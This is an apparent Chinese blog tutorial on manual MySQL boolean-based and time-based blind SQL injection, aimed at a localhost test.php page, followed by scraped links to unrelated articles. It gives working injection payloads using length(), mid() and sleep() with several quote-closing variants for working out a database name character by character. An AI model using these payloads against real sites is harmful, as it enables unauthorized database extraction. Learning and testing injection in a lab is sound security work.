作者:Max老白Gān丶
链接:http://www.lofter.com/lpost/1fefbc76_12d25dc31
来源:LOFTER

  • 注入常用到的几个函数
  •  
    1
    mid(str,1,3)

    字符串获取

    这里我们要看到123456789 从第一个字节也就是1开始获取到3就截止了

  •  
    1
    ORD()

    转换为ASCII码

    我们看到这里把a转换成了97 我们去看对照表

  • 1
    Length()

    统计字节长度

  •  
    1
    version()

    查看数据库版本

  •  
    1
    database()

    查看数据库

  •  
    1
    user()

    查看当前用户

首先我们确定注入了验证要先获取数据库长度

1
2
’and length(database())
’or length(database())

我们先看一下数据库中sqltest长度【其实就是7个】

小知识点:有数据用and 没数据用or

1
http://localhost/test.php?id=1’and length(database()) >1 #
1
’and length(database()) >1 #:

意思是数据库的长度是否大于1
没有变化以此类推
发现变换

这时候我们要确定他到底是多少字节

 
1
http://localhost/test.php?id=1' and length(database()) = 8 %23

他等于8吗?不等于

他等于6吗?不等于

他等于7返回正确页面说明他的字节是7

现在我们获取数据库名字:

1
http://localhost/test.php?id=1' and mid(database(),1,1) ='1'%23
 
1
mid(database(),1,1) ='1'

:它的意思是从第一个获取每次只取一个 它等于1吗?
很显然不等

然后修改后面的以此类推我们试到

 
1
http://localhost/test.php?id=1' and mid(database(),1,1) ='s'%23

返回true的正确页面

如果我们想获取第二位第三位怎么办?

 
1
2
3
4
5
6
7
mid(database(),2,1)
mid(database(),3,1)
mid(database(),4,1)
mid(database(),5,1)
mid(database(),6,1)
mid(database(),7,1)
http://localhost/test.php?id=1' and mid(database(),2,1)  ='q'%23

剩下的我就不一一获取了学习这样方式就明白了。

延时注入方法:

常用的判断语句:

1
2
3
4
5
6
7
8
9
' and if(1=0,1, sleep(10)) --+   
 
" and if(1=0,1, sleep(10)) --+
 
) and if(1=0,1, sleep(10)) --+
 
') and if(1=0,1, sleep(10)) --+
 
") and if(1=0,1, sleep(10)) --+

为什么我和布尔注入写在一个文章里面哪?因为他们操作的流程是差不多的。

延时了10秒确定存在注入。

获取数据库长度利用上面的知识:

1
'and if(length(database())=9,sleep(10),1)--+

意思是如果数据过长度等于9他就延时10秒

1
'and if(length(database())<6,sleep(10),1)--+

如果一开始不知道他长度可以用这个大致判断的长度然后用上面的等于确定
长度小于6吗?没有延迟不小于6


小于9吗?

延迟成功表名数据库小于9 也就是说数据库长度在6-9之间

1
'and if(length(database())=7,sleep(10),1)--+

一 一测试我们确定长度是7

获取数据库名字:

1
http://localhost/test.php?id=1' and if(mid(database(),1,1) ='s',sleep(10),1)--+

十几分钟让你学会MySQL布尔和延迟盲注手工操作的更多相关文章

  1. mysql基于“时间”的盲注

    无需页面报错,根据页面响应时间做判断! mysql基于时间的盲注 =================================================================== ...

  2. DVWA-基于布尔值的盲注与基于时间的盲注学习笔记

    DVWA-基于布尔值的盲注与基于时间的盲注学习笔记 基于布尔值的盲注 一.DVWA分析 将DVWA的级别设置为low 1.分析源码,可以看到对参数没有做任何过滤,但对sql语句查询的返回的结果做了改变 ...

  3. Bugku-CTF之login3(SKCTF)(基于布尔的SQL盲注)

    Day41 login3(SKCTF)

  4. MYSQL注入天书之盲注讲解

    Background-2 盲注的讲解 何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面.此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注.从ba ...

  5. [MYSQL手工注入](2)基于布尔的SQL盲注实战

    0x02 MYSQL 手工注入实战--基于布尔的SQL盲注 前言,之前有对MYSQL基于报错的手工注入进行过介绍,但今天的实验环境,并不是基于报错的SQL注入,而是一个基于布尔的SQL盲注测试流程. ...

  6. 盲注----基于布尔的SQL盲注

    构造逻辑判断常用字符串截取函数http://www.cnblogs.com/yyccww/p/6054569.html常用函数left(a,b)  从左侧截取a的前b位right(a,b)  从右侧截 ...

  7. Sqli-LABS通关笔录-5[SQL布尔型盲注]

    /* 请为原作者打个标记.出自:珍惜少年时 */   通过该关卡的学习我掌握到了 1.如何灵活的运用mysql里的MID.ASCII.length.等函数 2.布尔型盲注的认识 3.哦,对了还有.程序 ...

  8. 半天做完的数据报表,YonBuilder只要十几分钟,0代码开发

    进入数字化时代,拍脑袋的决策方式显然不靠谱,一切要靠数据说话.与信息化时代相比,数字化时代的企业对数据的应用更广泛.更深入.为了应对激烈的市场竞争,企业经营决策者们对数据的依赖度越来越高,企业各个业务 ...

  9. 【转载】一个小时学会MySQL数据库

    一个小时学会MySQL数据库   目录 一.数据库概要 1.1.发展历史 1.1.1.人工处理阶段 1.1.2.文件系统 1.1.3.数据库管理系统 1.2.常见数据库技术品牌.服务与架构 1.3.数 ...

随机推荐

  1. Django之Orm的各种操作

    1.一般操作 ***必知必会13条*** <1> all(): 查询所有结果 <2> filter(**kwargs): 它包含了与所给筛选条件相匹配的对象 models.Cu ...

  2. CollectionUtils工具类的常用方法

    集合判断:  例1: 判断集合是否为空: CollectionUtils.isEmpty(null): true CollectionUtils.isEmpty(new ArrayList()): t ...

  3. python数据类型之基础进阶

    一: 解构 1.1 结构字符串 变量和字符个数必须严格一致 name = 'wc' a,b=name print(a) print(b) # w # c name = 'w' a,b=name pri ...

  4. 阿里云+WordPress搭建个人博客

    搭建过程: 第一步:首先你需要一台阿里云服务器ECS,如果你是学生,可以享受学生价9.5元/月 (阿里云翼计划:https://promotion.aliyun.com/ntms/act/campus ...

  5. Codeforces 1070J Streets and Avenues in Berhattan dp

    Streets and Avenues in Berhattan 我们首先能发现在最优情况下最多只有一种颜色会分别在行和列, 因为你把式子写出来是个二次函数, 在两端取极值. 然后我们就枚举哪个颜色会 ...

  6. Kilani and the Game-扩散形式的搜索

    Kilani and the Game 思路:这种扩散走法的并且有速度.我们需要一层一层的入队, 而且 根据题目要求 按编号处理 例如q1队列中有 1 1 1 2 2 2 2 3 3 3 3 3 3 ...

  7. MYSQL可调用执行自定义SQL的代码

    DELIMITER $$ USE `mysql_wispeed01`$$ DROP PROCEDURE IF EXISTS `sp_execSQL`$$ CREATE DEFINER=`sa`@`%` ...

  8. springmvc ajax tomcat简单配置实现跨域访问

    发现一种改动最小也能实现跨域请求的方法 服务端 服务端修改web.xml配置文件, 增加过滤器 (不用导入任何jar包, 用的tomcat自带jar) <!-- 支持跨域请求 --> &l ...

  9. JS 存储

    1. 描述cookie ,sessionStorage 和 localStorage 的区别? cookie : 本身用于客户端和服务器端通信, 但是有本身存储的功能,就被‘借用’ 使用documen ...

  10. python获取多线程的返回值

    import threading class MyThread(threading.Thread): def __init__(self,func,args=()): super(MyThread,s ...